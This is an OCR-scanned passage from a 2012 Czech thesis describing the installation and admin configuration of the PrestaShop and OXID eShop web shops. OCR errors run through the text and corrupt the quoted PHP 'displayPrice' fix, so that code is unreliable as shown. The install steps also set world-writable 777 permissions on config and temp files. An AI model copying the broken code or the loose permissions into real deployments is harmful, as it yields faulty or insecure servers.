Struktura administra¢niho rozhrani

Pro piehlednost pfi popisu nastaveni aplikace je nize uvedena struktura hlavnich zalozek

administracniho rozhrani se svymi podsekcemi:

Katalog

Atributy a Skupiny, Vlastnosti produkti, Pfilohy ke zbozi, Obrazkové mapy, Vyrobci,
Dodavatelé, Pohyby skladu, Tagy, Stavy katalogu.

Zakaznici
Adresy zékazniktli, Skupiny zakaznikii, Vytvorené ndkupni kosiky.
Objednavky

Zpravy od zakaznikd, Faktury, Stavy objednavek, Dodaci listy, Vraceni zbozi, Dobropisy,
Zpravy k objednavkam, PDF.

Platby

Me¢ny, Dang, Dailova pravidla, Kupony.
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Doprava

Prepravci, Zemé, Staty (provincie), Kraje (okresy), Zony, Cenové rozsahy, Hmotnostni

rozsahy.

Statistika

Nastaveni, Vyhledavace, Zdroje navstévnosti.

Moduly

Presta Addons: Moduly & $ablony, Presta Addons: Uget, Sablony & Loga, Pozice moduli.
Zaméstnanci

Profily zaméstnancii, Opravnéni profilti, Kontakty na zaméstnance, Zékaznicka podpora,

Rychly piistup, Zalozky - editace.
Nastaveni

Vzhled, Databaze, E-mail, Obrazky, Vykon, SEO & URL, Vyhledavani, Aliasy,
Lokalizace, Geolokalizace, Zbozi, Kontaktni info.

Nastroje

CSV Import, Jazyky, Piekladani, Generatory, Subdomény, CMS, Obchody, Webservice,
Zaloha DB, Logs, Konfigura¢ni info., Upgrade.

Nastaveni reZimu udrzby

Po prvnim ptihlaSeni do administracniho rozhrani je vhodné nastavit v sekci Nastaveni
polozku Povolit obchod na hodnotu "Ne", ¢imz dojde k znepfistupnéni front-end sekce
viditelné zékazniky, coZ je vhodné pii provadéni zakladni konfigurace a plnéni systému
produkty. Pfi rezimu deaktivovaného obchodu zde 1ze nastavit IP adresy, z nichZ mize byt

ptistup do front-end sekce povolen z divodu ovéfeni provadénych zmeén.
Instalace ceStiny

Po skonceni instalace aplikace automaticky doinstalovala cesky pteklad a také ptidala jako
vychozi ménu ceskou korunu. K dispozici je mimo ceStiny v zakladu nékolik dalsich
jazyka shodnych s pétici, kterou podporuje instalator systému a dalsi dostupné lokalizace

Ize aktivovat v oddilu Nastroje a jeho podsekci Piekladani.

Pro pohodlnou orientaci v administratorském rozhrani bylo vhodné dodate¢né doinstalovat

preklad pro ¢eskou lokalizaci navigacni struktury back-end sekce. Ten byl stazen z webu
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www . webprostor.eu a jeho autorem je Otakar Weis. Jelikoz byla tato lokalizace vytvofena
ve formé kompatibilniho pluginu, postacovalo ji nakopirovat do adresaie modules a poté

aktivovat pomoci integrovaného instalatoru moduld.
MozZnosti sekce Nastaveni

V zalozce Nastaveni lze nakonfigurovat mnozstvi dulezitych vlastnosti a stavil. Je to jiz
zminéna aktivace ¢i deaktivace obchodu a povoleni IP adres pro udrzbu. Déle povoleni
protokolu SSL, ktery musi byt podporovan pouzitym hostingem. Pro zvyseni bezpe¢nosti
je zde moznost kontrolovat IP adresu pfijatych cookies, coz snizuje riziko jejich zneuziti
cizim navstévnikem. Pro cookies je zde také moznost nastaveni doby jejich Zivotnosti jak
pro front-end sekci, tak také pro administraci. Dal$im bezpe¢nostnim prvkem je zde
moznost aktivace autentizaénich tokenti. Systém rovnéz zabezpecuje volbu typu
zpracovani objednavky, povoleni ¢i zakazani nakupu bez registrace a nastaveni nutnosti

potvrzeni obchodnich podminek.

Dale je zde n¢kolik nastaveni tykajicich se darkovych baleni, zapnuti ¢i vypnuti ukladani
obsahu posledniho nakupniho kosiku pro ptihlaSené uzivatele, zpiisob zaokrouhlovéani cen
a automaticka kontrola aktualizaci rozsifujicich moduld. Také lze tady nastavit verzi
Sablonovaciho systému Smarty, velikostni limity pro nahravané soubory ¢i obrazky a

zménu ¢asoveé zony.

Oddil Nastaveni dale obsahuje podrobné podsekce, kde je mozné konfigurovat dalsi

konkrétni parametry aplikace.

Kontaktni info.

Zde se zadava nazev obchodu, jeho adresa, kontakt na provozovatele a také zde mohou byt

ulozeny informace obsazené v obchodnim rejstiiku atd.
ZboZzi

Tento pododdil umozituje podrobné nastaveni vztazené k nabizenym produktiim. Nachézi
se zde napriklad konfigurace spojena s funkcemi skladovych zasob, definice vlastnosti k
obrazkiim produktd, maximalni pocet polozek pro srovnani zbozi, varianta vypoctu

mnozstevni slevy atd.
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Lokalizace

Podsekce Lokalizace slouzi predev§im k nastaveni jednotek hmotnosti, vzdalenosti ¢i

délky a také k importu novych prekladu.

Vyhledéavéani, SEO & URL

Pododdil Vyhledavani tesi konfiguraci produktového vyhledavace a podsekce SEO &
URL zajistuje pfedevsim nastaveni tzv. pratelskych a také kanonickych URL.

Vykon
Zde je obsazeno nékolik funkci, které lze pouzit pro zrychleni reakce obchodu na

uzivatelské pozadavky. Je to predevSim zprava ndstroji systému Smarty, konfigurace

kompresi kodu, pouziti W3C validace a také zptisoby Sifrovani cookies a nastaveni cache.

Obrazky, Vzhled

Podsekce Obrazky umoziuje definovat parametry pro produktové fotografie jako naptiklad
jejich ruzné velikosti, kvalitu ¢i typ a také zahrnuje nastroj pro regeneraci jejich miniatur.
Zalozka Vzhled obsahuje moznost jednoduché zmény hlavicky obchodu, jeho loga ¢i ikon

a také je zde umistén modul pro zménu zékladni vzhledové Sablony.

0 ¥zhled

B BARTH SECURITY

zabezpecovaci systémy

Prochazet.

Butls pouzito na hlavri strénce

B BARTH SECURTIY

zabezpecovaci systémy

Prochazet.

Budle pouzito v hiavitce email, pokud nenastavie tolo logo, bude pouFto logo 7 hiavicky

B BARTHSHCURITY

zabezpecovaci systémy

Prochazet.

Budle pouito v hiavitce faidury. Pokud jej nenastavie, bude pouit logo z hiavidky

Favicon: Prochézet

B Bude pousto v Fadku adresy prohiizete

lkana prodejny:
L
Prochdzet.

Butls pouzito ve vyhlsdévadl prodsjen (v Google mapach)
DoparuEend velikost, 30x30, prifledny GIF

Oddélovac navigace: .

Pouivé g2 pro oddéleni kategori nebo produktl v navigaci

Ulozit

Obr. 9. Nastaveni casti podsekce Vzhled
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Databaze, E-mail, Aliasy, Geolokalizace

Podsekce Databaze a E-mail slouzi piedev$im ke zméné zakladnich udajii zadanych pii
instalaci systému a zbyvajici pododdily Aliasy a Geolokalizace fesi nastaveni alternativ

nazva pro vyhledavani a urceni lokace navstévnika podle IP adresy.
Diilezité funkce sekce Nastroje

V zalozce Nastroje je obsazeno nékolik diilezitych oblasti, které obstaravaji nékteré ze
zakladnich funkci modifikace a udrzby aplikace. Je to pfedevSim pododdil CSV Import
slouzici k hromadnému vkladani dat do aplikace. Jsou zde umistény vzorové soubory pro
vkladani produktovych kategorii, zbozi a jejich kombinaci. Dale také import zakaznikd,

jejich adres a vzorové soubory pro hromadné vkladani vyrobcti a dodavateld.

Podsekce Generatory vytvari a ptidava pravidla do souboru .htaccess spojené predevsim
s lepsi optimalizaci aplikace a povolenim pratelskych URL. Je zde také generovan soubor
robots. txt, jenZz umoznuje odepfit pristup vyhledavacim do urenych adresaii. Pododdil
Zaloha DP umoziuje provadét export a import databazové struktury aplikace ve formatu
komprimovaného baliku SQL dotazi. Podsekce Upgrade obsahuje modul pro nastaveni a
provedeni automatické aktualizace pti vydani nové verze systému. V pododdilu Logs jsou
zaznamenavany podstatné informace o stavech aplikace, a to pfredevSim rizné typy
varovani, chyb a zdvaZznych problémil. V sekci Nastroje se nachdzi pododdil CMS, ktery

byl vyuzit pro vytvareni a Gpravu informacnich CMS stranek.
Nastaveni mén a danovych pravidel

Jak jiz bylo zminéno, vychozi ména obchodu byla pii instalaci nastavena automaticky na
¢eskou korunu a ostatnimi defaultné podporovanymi ménami jsou zde euro, libra a dolar.
PrestaShop aktualizuje sménné kurzy vztazené k vychozi méné pomoci realtime nastroje
Sménné kurzy, jenz mize byt spousStén rucné nebo automaticky pomoci systémového
nastroje Cron. Danlové pravidla byla stanovena podle soucasné novely zakona o DPH ¢.
370/2011 Sb. ve vysi 20% pro zékladni sazbu a 14% pro sazbu sniZenou. V podsekci Dané
1ze dale také nastavit naptiklad moznost zobrazeni ¢i skryti DPH v nakupnim kosiku nebo

pouziti ekologické dané atd.
Platebni moduly

Elektronicky obchod PrestaShop umoznuje instalovat a nasledn¢ aktivovat tyto platebni
metody a brany:
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e Authorize.net AIM,

e Bankovni pfevod,

e Dobirka,

e CashTicket,

e Platba bankovnim Sekem,
e Platebni API DIPS,

e Google Checkout,

 Hipay,

e Moneybookers,
e Ogone,

e PayPal,

e PaysafeCard.

V podsekci Platby mohou byt dale tyto platebni zptisoby povoleny napiiklad pouze pro

vybrané mény ¢i zemé odkud je ndkup provadén.
Objednavky

V této sekcei je mimo seznamu provedenych objednavek obsazeno také nékolik pododdild,
které slouzi k manipulaci a nastaveni sluzeb s objednavkami spojenymi. Je to naptiklad
podsekce, kde se ukladaji zpravy od zakazniki, karta obsahujici pfednastavené stavy
objednavek, pododdil urceny pro definici zprav k objednavkdm ¢i modul pfijimajici

zaznamy o vraceném zboZi.

Dutlezitou podsekci zde tvoii nastroj pro vytvafeni faktur sestavovanych z pfijatych
objednavek a ukladanych ve formatu PDF. U tohoto modulu bylo nutné opravit problém
Spatné zobrazované diakritiky u poloZzky Ceské mény a feSeni tohoto problému bylo
nalezeno na  foru  webhostingu C4, a to  konkrétné na  adrese

http://forum.c4.cz/prestashop-faktura-pdf-a-cestina-t543.html.

Prvnim krokem pro tuto opravu bylo stazeni zde umisténé¢ho fontu arialmt a jeho
nakopirovani do adresafe tools/fpdf/font. Poté bylo nutné vhodné nastavit podsekci

PDF, jejiz konfiguraci Ize vidét na nasledujicim obrazku:
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Administrace » Objednavky » FOF

L Nastaveni PDF pro aktualni jazyk: Czech

Kédovani cp1250 ~| e
kaddovani pro PDF fakturu

Font: aramt | bl
Font pro PDF fakiuru

Obr. 10. Nastaveni karty PDF pro ceskou lokalizaci

V dalsim kroku byla provedena zména v PHP tfid¢ Tools.php obsazené ve sloZce
classes, a to konkrétné ve funkci displayPrice(). Zde byla upravena definice jednoho
z ptikazli return, jehoZ plivodni a upravenou verzi vyuzivajici funkeci iconv(), slouzici

pro ptevod fetézcti mezi riznymi znakovymi sadami je mozné vidét nize:
return str_replace('a,-", chr(128), $ret);
return str_replace('a,-', chr(128), iconv('UTF-8','CP1250',%ret));

Zminéna podsekce PDF je vyuzivana také pro tvorbu dodacich listti a dobropist, jejichz

moduly jsou obsazeny taktéz v sekci Objednavky.
Doprava

Na karté Doprava lze nastavit nékolik zakladnich vlastnosti jako naptiklad podminky pro
ziskéani bezplatné dopravy podminéné urcitou vysi ceny objednavky ¢i jeji hmotnosti a také
jsou zde definovany poplatky pro povolené dopravce. V jednotlivych podsekcich této
kategorie je pak umoznéno naptiklad upravovat stavajici zptisoby dopravy ¢i také ptidavat
nové dopravni varianty. Pro ty Ize stanovit povolené zony (naptiklad Evropa), zemé ¢i
ptipadné také staty (napiiklad v USA) nebo jednotlivé okresy. Jsou zde také pododdily

definujici jiz zminéné cenové a hmotnostni rozsahy povolené pro jednotlivé dopravce.
Zakaznici

V sekci Zakaznici jsou mimo ulozenych registra¢nich profili obsazeny také podsekce
spojené s dalSimi rozSifujicimi tdaji 0 registrovanych uzivatelich a jednou z nich je
napiiklad sprava zékaznickych adres. Aplikace umoziuje registrovat jednu adresu pro vice
uzivatel, coz je vhodné napiiklad pro firemni nakupy provadéné vice zaméstnanci na

stejnou dodaci adresu.
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Front-end sekce

Pristup do klientské c¢asti elektronického obchodu je aktualné mozny ptes URL adresu
lbartosak.host.utb.cz/presta/ a nahled na toto rozhrani aplikace Ize vidét také v

ptiloze P I.

3.3.2 OXID eShop Community Edition
Instalace

Stejné jako U instalace systému PrestaShop bylo prvnim krokem stazeni aktudlni verze
elektronického obchodu z webu www . oxid-eshop.cz, kde je v sekci Download k dispozici
jeho Ceska varianta. Po staZeni a rozbaleni baliku byl obsah instala¢nich dat nakopirovan
na ulozisté serveru do vlastni slozky oxid a nasledné spusténa samotna instalace pres URL

adresu 1bartosak.host.utb.cz/oxid/setup/.

Prvni pozadavek, ktery musel byt pro pokracovani v instalaci splnén, bylo nastaveni
ptistupovych prav pro soubor config.inc.php a adresat tmp. To bylo provedeno nize

uvedenymi ptikazy pro zménu atributii v rozhrani FTP klienta FlashFXP:

chmod 777 config.inc.php
chmod 777 tmp

Po této tpravé jiz byly splnény podminky umozujici pokracovat v instalaci, jejichz vypis

je mozno vidét na obrazku nize:

Roz3ifeni PHP PHP konfigurace Konfigurace serveru

[ PHP verze alespori 5.2.0 [l low_url_fopen nebo fsockopen na portu 80 B 4pache mod_rewrite modul

M LB XML2 Il Zend reimu kompatibility, musi byt vypnuty B Fiistupové préva soubordl/adresail
W oow Il REQUEST_URI set B Hoiné problémy na serveru z divodu chyb PHP
B 50N [l ini_set povoleno

W icony B register_globals musi byt vypnuté

B Tokenizer PHP Memory limit (min. 14M8, 30 MB doporuéeno)

. MySQL modul for MySQL & . Podpora UTF-8

B GOiib w2 (1] vietné podpory JPEG

W mbstring

M curL

W scvath

M openssL

W sowr

. - WAL systém wyhovuje poZadaviu,
- Tento pozadavek neni whodny, nebo jen Gasteéngé, OXID eShop je bude funzovat stejng, a miZe byt instalovan ..
- W&E systém neodpovidd poZadavkim, OXID eShop bez nich nebude fungovat a nemd2e byt nainstalovan.

- Tento pozadavek nemohl byt zkontrolowvan,

Obr. 11. Kontrola systémovych pozadavkii pro instalaci systéemu OXID eShop
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Jedinym kritériem, které nebylo zcela splnéno, byla doporucena velikost pamétového
limitu pro spousténi PHP skript 0 maximalni kapacit¢ 30 MB. Jelikoz je tato hodnota na
serveru nastavena na 24 MB, ¢imz je splnén minimalni limit 14 MB, mohlo byt v instalaci

bez dalsich uprav pokracovano.

V dal$im kroku byl uskute¢nén vybér zemé, ve které by mél byt e-shop registrovan a také
zde byla moznost nastaveni automatického ovéfeni aktualizaci. Poté byl proveden souhlas
s licen¢nimi podminkami aplikace a v nasledujici etapé bylo provedeno pfipojeni k piedem
vytvoiené databazi lbartosak-1, ktera slouzi pro datovou podporu tohoto systému. Dale
zde byl nabidnut vybér typu instalace s moznosti obsahujici demodata ¢i variantou S

nenaplnénym produktovym katalogem.

Po tspésném pripojeni k databazi doslo k instalaci databazové struktury a v nasledujicim
kroku byla pozadovana kontrola vychozi URL adresy e-shopu, cest ke kofenovému
adresafi aplikace a slozce tmp slouzici pro ukladani docasnych soubord. Také zde bylo
nutné vyplnit e-mail a heslo slouZici jako udaje pro pfistup do administratorské sekce

obchodu.

Timto byla zéakladni instalace tohoto systému dokonéena a poslednim krokem bylo z
bezpecnostnich diivodli vhodné nastavit pfistupova prava k souboru config.inc.php s
atributy 444, které zajistuji pouze jeho cteni. Pro piihlaSeni do back-end sekce e-shopu
slouzi URL adresa 1bartosak.host.utb.cz/oxid/admin/.

Struktura administra¢niho rozhrani

Na obrazku nize Ize vidét prehled hlavnich oblasti administracniho rozhrani se svymi

podsekcemi:
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Hlavni nastaveni UZivatelé Statistiky
* Mastaveni F UZivatel b Stav & ddrZba
b Zemé b UZivatelske skupiny
* Dodavatelé r UZivatelé
» Vyrobei Sluzby
» Témata b Systémoveé informace
» Jazyky Objedndvicy b Systémove poZadaviy
b Objedndvky b Hastroje
¥ Souhrn objedndvek b Export zboZi
Hastaveni obchodu » Baliky » Obecny import
¥ Zplsoby platby
k Slevy
» Doprava Pro zakazniky
* Piepravni ndklady * Novinky a zpravy
» Poukazky * Novinky e-mailem
¥ Darkové baleni * Odkazy
* Kniha ndvitév
b CMS stranky
Produkty * Promoakce
* Produkty ¥ Cenovy alarm
* Parametry
» Kategorie
* VybEry
* Recenze

Obr. 12. Prehled struktury administracniho rozhrani
Nastaveni reZimu udrzby

Jak Dbylo popsano pii instalaci e-shopu PrestaShop, pii prvnim piihlaseni do
administracniho rozhrani je vhodné deaktivovat front-end sekci obchodu, aby bylo mozné
provést zékladni nastaveni aplikace a naplnéni produktového katalogu zbozim bez
zakaznické interakce s aplikaci. Tato konfigurace se provadi v sekci Hlavni nastaveni. Zde
je také k dispozici moznost deaktivace tzv. produktivniho modu, pii jehoz vypnuti lze
sledovat informace o rychlosti zpracovani pozadavki, které se zobrazuji na konci kazdé

stranky a napomahaji tak k lepSimu vyladéni vykonu systému.
Uprava &eské lokalizace

Tento elektronicky obchod ma po instalaci ¢eské verze pielozenu jak front-end sekci, tak
rovnéz administratorské rozhrani. Pravé v back-end sekci vsak nékteré Ceské lokalizacni

fetézce chybi a aplikace tak upozoriuje naptiklad na nasledujici chybu:
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ERROR : Translation for SHOP_CONFIG_SHOWTAGS not found!

Pro odstranéni téchto chybnych hlasek bylo nutné doplnit chybéjici ¢eské fetézce v poli
slouzicim pro jejich pieklad, které se nachazi v souboru out/admin/cz/lang.php. Piidani

chybéjiciho prvku pole pro uvedenou chybu tak vypadalo nésledovné:
'SHOP_CONFIG_SHOWTAGS' => 'Zobrazovat Stitky v e-shopu',
Hlavni nastaveni

Nastaveni

V podsekci Hlavni karty Nastaveni je obsazena konfigurace zakladnich funkci a udaji
slouzicich pro provoz tohoto elektronického obchodu. Nachazeji se zde jiz zminéné
polozky pro aktivaci ¢i deaktivaci obchodu a jeho produktivniho médu. Daéle jsou tu
vyplhovany tdaje o prodavajici spolecnosti jako napfiklad jeji nazev, adresa, kontakt,
bankovni spojeni atd. Lze v tomto misté upravit nazev obchodu a email slouzici pro piijem
informaci o stavech e-shopu. Také je zde konfigurovano nastaveni SMTP serveru, kde byl

zadan Skolni e-mailovy server smtp.utb.cz.

V dal§im pododdilu se nachazi nékolik oblasti, kterymi Ize definovat rizné parametry
aplikace. Prvnim z nich je poloZka Zemé, kde je nastaven jeden ¢i vice statl, ke kterému
jsou pfifazeni zakaznici z uzivatelské skupiny Domaci uzivatelé. Dalsi polozka nastavuje
moznosti vyhledavani, podle nichz budou vybirany relevantni vysledky na uZzivatelské
dotazy. Mohou zde byt povoleny naptiklad moznosti vyhledavani podle nazvu nebo

znac¢ky vyrobku, jeho identifika¢niho ¢isla ¢€i podle ptifazenych kli¢ovych slov apod.

Dale je zde podsekce pro kontrolu stavu zasob obsahujici nastaveni spojené S touto
problematikou. Nasledujici polozka umoznuje konfigurovat moznosti zobrazeni zbozi v
modulech "podobné produkty™ ¢i "nejnovéjsi zbozi" a také obsahuje definice urcujici,

podle ¢eho mohou uzivatele fadit zobrazované zbozi atd.

Dalsi podsekce fesi nastaveni sledujici celkovou hodnotou objednavek a nasledné ¢lenéni
nakupujicich podle tohoto kritéria do skupin "Stfedni" ¢i "Velky zakaznik". Také je zde
mozné nastavit minimalni cenu objednavky ¢i povinny souhlas s podminkami prodeje atd.
Nasledujici karta slouzi pro konfiguraci spojenou s dailovymi pravidly, jejich vypoctem a
moznostmi zapoc€itani. V pododdilu Obrazky je umisténo nastaveni pro generaci miniatur a

podsekce Navigace umoziuje volbu vychozi kategorii produktové struktury a také aktivaci
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¢i deaktivaci zobrazeni Stitkd neboli tagl, které oznacuji jednotlivé zbozi jednoduchymi
vyjadienimi.

Karta Privatni prodej umoziuje piepnout e-shop do stavu, kdy je nutné byt piihlasen i pro
bézné prohlizeni produktové struktury, ¢imz muze byt vytvarena uzce specifikovana
klientela zdkaznikli. Dals$i pododdil slouzi k povoleni systému pozvanek zajiStujiciho
pozvani pratel registrovanych zékaznikti k ndkupu, jenz za tuto podplrnou cinnost
ziskavaji kreditni body pro své dalSi objednavky. V polozce Facebook je provadéno
nastaveni integrujici e-shop s uzivatelskymi profily této socialni sité. Karta Administrace
zde umoznuje definovat nékteré upravy spjaté s pouzivanim back-end sekce a posledni
polozkou zde je pododdil Ostatni nastaveni, kde je naptiklad mozné urcit povinné pole pii
registraci zakaznika do systému ¢i je zde umisténa konfigurace spojena s RSS kanaly a

také nastaveni podminek pro CSV import a export systémovych dat atd.

V sekci Nastaveni je dal$i kartou pododdil Systém, ktery obsahuje nékolik dalSich
konfiguraénich oblasti. Podsekce Objednavky zde slouzi k povoleni nebo zakazani nakupu
bez registrace ¢i z cizich zemi a také se zde nastavuje moznost ukladani IP adres
zakaznikd. V dal8i karté¢ je obsaZena konfigurace pro podporu prodeje produktovych
variant a v podsekci Obrazky je umisténo nastaveni pro definici kvality ukladanych
fotografii zbozi. Nasledujici pododdil Moduly slouzi k instalaci novych rozsitujicich
pluginii. V podsekci Administrace je nastavovano defaultni rozliSeni pro back-end rozhrani
a karta Dalsi nastaveni obsahuje napiiklad konfiguraci ¢asového posunu mezi aplikaci a
serverem, nastaveni schvalovani pfispévkll v navstévni knize administratorem, zptisob

zpracovani PHP kodu ve Smarty Sablonach atd.

Dalsi samostatnou sekci je pododdil Licence, kde je obsazena funkce slouzici pro kontrolu
dostupnosti novych aktualizaci. V nasledujici Casti je umisténo nastaveni spojené s
optimalizaci vykonu systému. Je to naptiklad moznost zobrazeni ¢i skryti variant produkti
ve vypisu kategorii, dale zobrazeni nejprodavan€jSiho a nejnovéjSiho zbozi, moznost

nacteni kiizového prodeje, seznamu vyrobct, oddilu novinek apod.

Posledni karta v této oblasti je spojend s optimalizaci SEO. Lze zde naptiklad nastavit
vychozi jazyk pro tvorbu pratelskych adres a také pozadovany oddélovac¢ pro ¢asti nazvi
téchto URL. Dale je zde umistén seznam nahrazovanych znakt vkladanych do adres a také
slova rezervovana pro popisy adresaii aplikace, které nemohou pouzity byt v jiném

kontextu atd.
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Zemé, Témata a Jazyky

Tyto oddily spadaji do kategorie Hlavni nastaveni. Prvni z nich obsahuje seznam moznych
statd, které lze povolit pro registraci a nasledny nakup. Karta Témata slouzi k nastaveni
grafické podoby elektronického obchodu a v zakladni instalaci je mozné vybirat ze dvou
preddefinovanych Sablon. Pododdil Jazyky umoziuje pro zakazniky aktivovat povolené

lokalizace, které jsou Vv systému aktualn¢ nainstalovany.
Nastaveni obchodu

Zpusoby platby

V této podsekci je mozné povolit a spravovat implementované zpusoby plateb ¢i také
vytvafet své vlastni moznosti, jak hradit vytvofené objednavky. Pro existujici platby lze
ptifadit seznam povolenych statl, kde je mozné tuto platbu vyuzit a také ji lze zptistupnit
pouze pro urcité uzivatelské skupiny. Formuldf umoziujici vytvaret nové platebni

moznosti 1ze vidét na obrazku nize:

Hlzuni Iemé

Aktivovat O
Jména I
Oznaceni ceny (KE) l— Iabs 'l i
Zaklad ceny M 1, Hodnata wieho zha v kadiku 2
pripatky/slew: W 2, Slewy

W a2 Kupdmy

W 4 Pfeprawni naklady
7 5 Darkové balenisPrinitka
| i

Minimalni stav kreditu

Cena koupé [K&) od I do I i

Wybrano? O

Razeni |
Pole -

E
l—
Pridat textové pole |
Odstranit wwbrane pole |
Ulozit |
Jazyk: m

Mowy zplisob platby | Spustit napovédu

Obr. 13. Formular pro vytvoreni nové platby

Zakladni platebni metody obsaZzené v Cisté instalaci aplikace zahrnuji platbu dobirkou,

uhrazeni hotovosti na pokladné a platbu pfevodem na tcet.



UTB ve Zliné, Fakulta aplikované informatiky, 2012 97

Pro ziskdni moznosti vyuziti dalSich platebnich metod je nutné doinstalovat pozadované
roz§ifujici moduly, které Ize ziskat na jiz zminovaném webu podpory tohoto

elektronického obchodu.

Slevy

Definice slevovych zvyhodnéni maji pomérné Sirokou Skalu nastaveni. Je to naptiklad
moznost konfigurace jejich platnosti v uréitém casovém rozmezi. Slevy mohou byt
vymezovany pro urité kategorie produkti ¢i zvIast’ pro jednotlivé zbozi. Déle mohou byt
také definovany podle mnozstvi objednavaného zbozi ¢i dle celkové ceny objednavky. U

slev 1ze podobn¢ jako u plateb nastavit platnost pro rizné uzivatelské skupiny a staty.

Doprava, Pfepravni naklady

Zakladni zpasoby dopravy, které jsou v tomto e-shopu definovény, jsou pieprava
spole¢nosti PPL, osobni odbér a dorugeni Ceskou postou. Tyto dopravni varianty jsou
navazany na platebni mozZnosti a také na uzivatelské skupiny, pro nez mohou byt
pfitazeny. V samostatné podsekci Piepravni ndklady jsou nastavovany ceny za tyto
zpusoby doruceni a podobné jako v systému PrestaShop zde lze definovat rGzna

zvyhodnéni podminénad naptiklad vysi celkové ceny objednavky apod.

Poukazky, Darkova baleni

Poukazky lze vytvaret pro konkrétni osobu a jsou vydavany na urcitou dobu platnosti. Maji
formu slevového zvyhodnéni a 1ze u nich nastavit minimalni cenu objednavky, ktera je
touto poukdzkou uhrazena. Déarkova baleni mohou byt provedena zpiisobem klasického
darku ¢i také formou blahopténi, jenz lze k vytvofené objedndvce pfipojit pomoci

pfilozeného obrazku.
Sluzby

Naéstroje

Tato podsekce slouzi k provadéni SQL piikazi sméfovanych na relacni databazi aplikace.
Zminéna funkce obsahuje jak pole pro vkladani ru¢né psanych piikazl, tak rovnéz
souborovy import vhodny pro spusténi vétSiho mnozstvi databazovych pozadavka. Pro
obnoveni databazovych pohledi po provedeni aktualizace systému je zde umisténa funkce,

ktera tuto akci provadi automaticky.
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Export a import zbozi

Tyto podsekce funguji podobné jako v aplikaci PrestaShop a umoznuji provadét vkladani
¢i ukladani datovych struktur ve formatu CSV pro vybrané ¢asti jako celé kategorie ¢i

samostatné zbozi apod.
Statistiky
Stav a udrzba

Zde je mozné vytvaret hlaseni o riznych udalostech vznikajicich pfi provozu tohoto
elektronického obchodu. Mohou to byt naptiklad piehledy nejnavstévovanéjsich kategorii
nebo produktii, monitorovani zruSenych objednavek v pribéhu jejich vytvareni, statistiky
vyhledavani nebo napiiklad rizné informace o uzivatelich atd. Konfigurace téchto hlaseni
se zde vytvaieji pod vlastnim nazvem a definuje se u nich ¢asovy horizont, ve kterém jsou

tyto udaje ukladany.
UZivatelé

V této sekci jsou podobné jako v piredchozim popisovaném systému ukladana data
registrovanych zakaznikt a tyto informace se zde ¢leni do nékolika vlastnich podsekci. V
poloZce Hlavni je uloZena adresa zédkaznika, kontaktni idaje a také je zde administratorska
funkce pro zménu uzivatelského hesla. V pododdilu Rozsifené jsou obsazeny napiiklad
informace 0 odbéru novinek, vysi zakaznickych kreditnich bodu, je zde uloZen kontaktni
telefon pouzitelny mimo pracovni dobu atd. Dale je zde podsekce Historie slouzici pro
ukladani veskeré provedené uZivatelské c¢innosti, pododdil Platby pro povolené platebni
metody, karta pro zakaznické adresy a také podsekce ukladajici doposud nakoupené
produkty. Samostatnou polozku v karté UZivatelé tvoii oddil Uzivatelské skupiny, kde jsou

uloZeny jiz zminované seznamy zakaznikii definovany podle potiebnych specifik.
Objednavky

Tento oddil slouzi mimo ukladani uzivatelskych objednavek také k nckolika dalSim
funkcim. Lze odsud odesilat zakaznikiim informacni e-maily o prib&hu vyfizeni jejich
nakupu a také je zde umoznéno vytvaiet souhrnné XML exporty obsahujici uloZend
objednavkova data. Je tady také umistén modul pro generaci faktur ve formatu PDF a tato
podsekce ma také vlastni funkci uchovavajicich historii pfijatych objednavek. Samostatny

oddil tvofi modul pro spravu balikt, z n€hoZ se mohou tisknout jejich vybrané seznamy.
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Pro zakazniky

CMS stranky

Tvorba CMS stranek ma nékolik nastaveni naptiklad urcujicich, do které slozky bude nové
vytvoiena stranka spadat ¢i jaky bude mit nazev a pfedevSim obsah, jenzZ je zde mozné

vytvaret ve formé HTML kodu. Zakladnimi slozkami pro tyto stranky jsou:

e Informace o zakaznicich
e Informace o vyrobcich
e E-maily

e Nic (vSeobecna slozka)

Novinky a zpravy, Novinky e-mailem

Pododdil Novinky a zpravy slouzi pro zvetejiiovani novych udalosti spojenych s provozem
elektronického obchodu a podsekce Novinky e-mailem umoziiuje vytvaret vlastni
newslettery, které jsou ndsledné zasilany zdkazniklim, jenz si jejich pfijem nastavili ve

svém uzivatelském profilu.

Promoakce, Cenovy alarm

Promoakce mohou byt vytvaieny pro libovolné vybéry zbozi a také pro uréité Casové
obdobi a slouZi nejcastéji predev§im k propagaci nové nabizenych vyrobkl ¢i pro rizné
doprodeje atd. Pododdil Cenovy alarm obsahuje seznam uZivatell vyuZivajicich tuto

funkci a zahrnuje modul pro odesilani e-mailt s o¢ekavanymi cenovymi zménami.

Posledni dvé podsekce oddilu Pro zakazniky obsahuji konfiguraci pro spravu navstévni

knihy a pro tpravu modulu Odkazy.
Front-end sekce

Piistup do front-end sekce tohoto e-shopu je aktudlné mozny pies URL adresu

lbartosak.host.utb.cz/oxid/ a nahled tohoto rozhrani lze vidét také v piiloze P II.

3.4 Vytvoreni produktového katalogu

Pro demonstraci funk¢nosti nainstalovanych elektronickych obchodl byly produktové
katalogy téchto aplikaci naplnény nékolika vzorovymi vyrobky z oblasti zabezpecovaci
techniky. Jelikoz bylo mnozstvi vkladanych produktti malé, nebylo nutné vyuzit moduly

pro CSV import, a proto bylo vlozeni zboZi realizovano ru¢né.
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Nejprve bylo provedeno ptidani seznamu vyrobct s jejich firemnimi logy a néasledné byla
vytvotena struktura vyrobkovych kategorii s jednotlivymi podsekcemi, kterou lze vidét
nize:
Zabezpeceni objekti
»=  Systém OASiS 868Mhz
e Ustiedny
e Detektory
e Sirény
= Pfistupové systémy
Zabezpeceni vozidel
» GSM autoalarmy
= Motoalarmy
Automatizace
* GSM ovladace
= Termostaty
Ostatni

Do této struktury byly vloZeny samotné produkty za pomoci postupu popsaného v

nasledujicim textu.
PrestaShop

V tomto e-shopu je vkladani produktii umisténo na kart¢ Katalog. Tento oddil obsahuje
také nékolik podsekci jako naptiklad Vyrobci, Dodavatelé, Pohyby na skladu, Vlastnosti
produktli, Atributy a skupiny atd. Po vybéru umisténi v rdmci vytvotené vyrobkové
struktury jsou jednotlivé produkty pfidavany pies funkci Pfidat nové zbozi. Rozhrani této

funkce je rozdé€leno na nékolik zakladnich sekei.

V prvni z nich jsou vyplnény zékladni informace jako naptiklad ndzev zboZi, jeho kod,
misto umisténi (v pfipad¢ existence vice skladl) a také rozmérové a hmotnostni udaje.
Dale je zde pfifazen vyrobce a dodavatel, nastavena jeho dostupnost pro objednavky a
